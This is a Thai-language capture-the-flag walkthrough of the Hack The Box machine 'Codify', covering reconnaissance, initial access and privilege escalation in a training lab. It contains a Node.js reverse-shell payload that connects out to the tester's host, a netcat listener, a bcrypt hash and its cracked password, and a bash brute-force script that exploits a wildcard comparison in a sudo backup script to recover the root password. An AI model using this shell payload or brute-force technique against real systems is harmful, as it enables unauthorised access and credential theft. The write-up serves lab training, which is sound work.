[HackTheBox]Codify

สวัสดีครับ วันนี้มาเล่น Hack The Box กันครับ เป็น Box ตามลิงค์นี้ Codify เราได้เริ่มต้นด้วยการใช้ Nmap สำหรับการค้นหาพอร์ตและ URL ที่น่าสนใจ ซึ่งได้นำเราไปสู่จุดเริ่มต้นที่ดีในการค้นพบจุดเข้าที่เป็นไปได้ การใช้ช่องโหว่ของ Remote Code Execution บนหน้าเว็บไซต์ได้ช่วยให้เราสามารถเรียกใช้ shell และเข้าควบคุมระบบเบื้องต้นได้สำเร็จ ด้วยสิทธิ์ที่ได้รับ เราได้ทำการค้นหาไฟล์สำคัญที่สามารถเปิดเผยข้อมูลที่เป็นความลับหรือข้อมูลที่สำคัญ การทดลองกับ hash และรหัสผ่านทั้งในรูปแบบออฟไลน์และออนไลน์ได้ช่วยเราหาคำตอบสุดท้ายคือ ‘flag’ ซึ่งเป็นหลักฐานของความสำเร็จในการทดสอบ

Kittinat Setthaworn
Cybersecurity Analyst and Auditor

การรวบรวมข้อมูลเป้าหมาย

https://app.hackthebox.com/machines/574

การรวบรวมข้อมูลเป้าหมาย เป็นกระบวนการที่มีความสำคัญในขั้นตอนการทดสอบการเจาะระบบหรือการประเมินความเสี่ยงด้านความปลอดภัยของเครือข่ายคอมพิวเตอร์ โดยทั่วไปแล้ว Nmap (หรือ Network Mapper) เป็นเครื่องมือสแกนเครือข่ายที่ใช้ในการค้นหาอุปกรณ์ที่เชื่อมต่อในเครือข่าย ระบุบริการที่รันอยู่บนเซิร์ฟเวอร์เหล่านั้น ตรวจจับระบบปฏิบัติการที่ใช้

  • เริ่มจากการ Scan หา Port และ Services ที่เปิดและถูกใช้งาน
nmap -sV -A 10.10.11.239
การค้นหา Port โดยใช้โปรแกรม NMAP
  • จะเจอ Port ที่เปิด 3 Port ได้แก่ 22, 80, 3000 จะสังเกตุได้ว่า Port 80 มีการ Redirect ไปยัง URL http://codify.htb
  • ทดลองเปิด Browser และเข้า http://codify.htb จะสามารถเข้าหน้า Web ได้ดังรูป
การเข้าถึงหน้า Web จาก URL ที่ค้นพบ
  • เมื่อทำการสำรวจหน้าเว็บไซต์จะได้รายละเอียดดังต่อไปนี้
    • หน้าเว็บจะเป็นเว็บที่ใช้ Execute Code NodeJS (Port 3000)
    • หน้าเว็บมีรายละเอียดเกี่ยวกับ Modules ที่ถูก Whitelist และ Restriction
เว็บที่ใช้ Execute Code NodeJS
หน้าเว็บมีรายละเอียดเกี่ยวกับ Modules ที่ถูก Whitelist และ Restriction

ทดสอบโจมตี Remote Execution

  • จากนั้นให้ทำการ Run command เพื่อรอรับ Connection
nc -nlvp (8888)
Run command เพื่อรอรับ Connection
  • ที่ฝั่งหน้าเว็บ Editor ให้ Run
(function(){
    var net = require("net"),
        cp = require("node:child_process"),
        sh = cp.spawn("/bin/bash", []);
    var client = new net.Socket();
    client.connect(8888, "10.10.14.60", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

  • เมื่อทำการ Run Code ด้านบนเสร็จจะมีการ Connect ไปที่ Port 8888 ที่เราเปิดไว้
  • จากนั้นให้ใช้ทำการ Run code
python3 -c 'import pty;pty.spawn("/bin/bash")'
ทำการ Run Code เพื่อ Connect ไปที่ Port 8888 ที่เราเปิดไว้

การค้นหาข้อมูลเพิ่มเติมสำหรับการขยายผล

  • จากนั้นให้เราสำรวจข้อมูลทุกไฟล์ที่สามารถเข้าถึงได้ แต่เราพบว่าไปที่ path /var/www/contacts นั้นมีไฟล์ tickets.db ที่มีข้อมูลบัญชีผู้ใช้ มันมี user joshua ที่หน้าสนใจ
ทดลองอ่านไฟล์ tickets.db

การค้นหารหัสผ่านแบบ Offline – User Flag

  • จาก Hash ที่เราพบ มีความน่าสนใจในการค้นหา password ที่อาจเกี่ยวข้อง โดยทำการสร้าง text ไฟล์ โดยใส่ข้อความ
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
  • จากนั้นให้ทำการตรวจสอบ Algorithm ที่ใช้เข้ารหัสจะมีความเป็นไปได้ทั้ง 3 ตัว
ตรวจสอบอัลกอลิทึมในการ Hash
  • จากนั้นให้ทำการ Crack โดยใช้ John the ripper
john --format=bcrypt joshua.txt --wordlist=/use/share/wordlists/rockyou.txt
Crack โดยใช้ John the ripper
  • ผลลัพธ์ที่ได้คือ User Joshua/spongebob1 จากนั้นให้เข้าไปที่ User Joshua และให้ทำการอ่านไฟล์ user.txt จะได้ user flag มา
su - joshua

#หรือ

ssh ไปที่ joshua ก็ได้
อ่านไฟล์ user.txt จะพบ user flag
  • ให้ทำการ run command จะเห็นว่า User joshua สามารถใช้งาน sudo /opt/scripts/mysql-backup.sh ได้
sudo -l
User joshua สามารถใช้งาน sudo /opt/scripts/mysql-backup.sh
  • จากนั้นให้ไปที่ Path /opt/scripts/ เพื่อทำการอ่านไฟล์ shell script ชื่อ mysql-backup.sh
cat /opt/scripts/mysql-backup.sh
อ่านไฟล์ shell script ชื่อ mysql-backup.sh

การค้นหารหัสผ่านแบบ Online – Root Flag

  • จาก script นี้จะมี user root ให้ แต่ password อยู่ในไฟล์ /root/.creds จากนั้นให้เราทำการ Bruteforce โดยใช้ Shell script นี้
password=""

while true; do
    password_check=$(echo "$password" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l)

    if [ $password_check -gt 2 ]
    then
        echo "$password"
        break
    fi

    for char in {a..z} {A..Z} {0..9}; do
        result_number_of_lines=$(echo "$password$char*" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l)

        if [ $result_number_of_lines -gt 2 ]
        then
            password="$password$char"
            continue
        fi
    done
done

  • เมื่อทำการ Run code เสร็จจะได้ MySQL Password มา
kljh12k3jhaskjh12kjh3
  • ให้เราทำการนำ MySQL Password ไป run script backup mysql
MySQL Password ไป run script backup mysql
  • ให้ทดสอบทำการ switch user ไปที่ root และใช้ mysql password เพื่อทดสอบเข้าใช้งาน
su - root
  • จากนั้นให้ทำการอ่านไฟล์ root.txt

จบแล้วครับบบบบบ….

อ้างอิง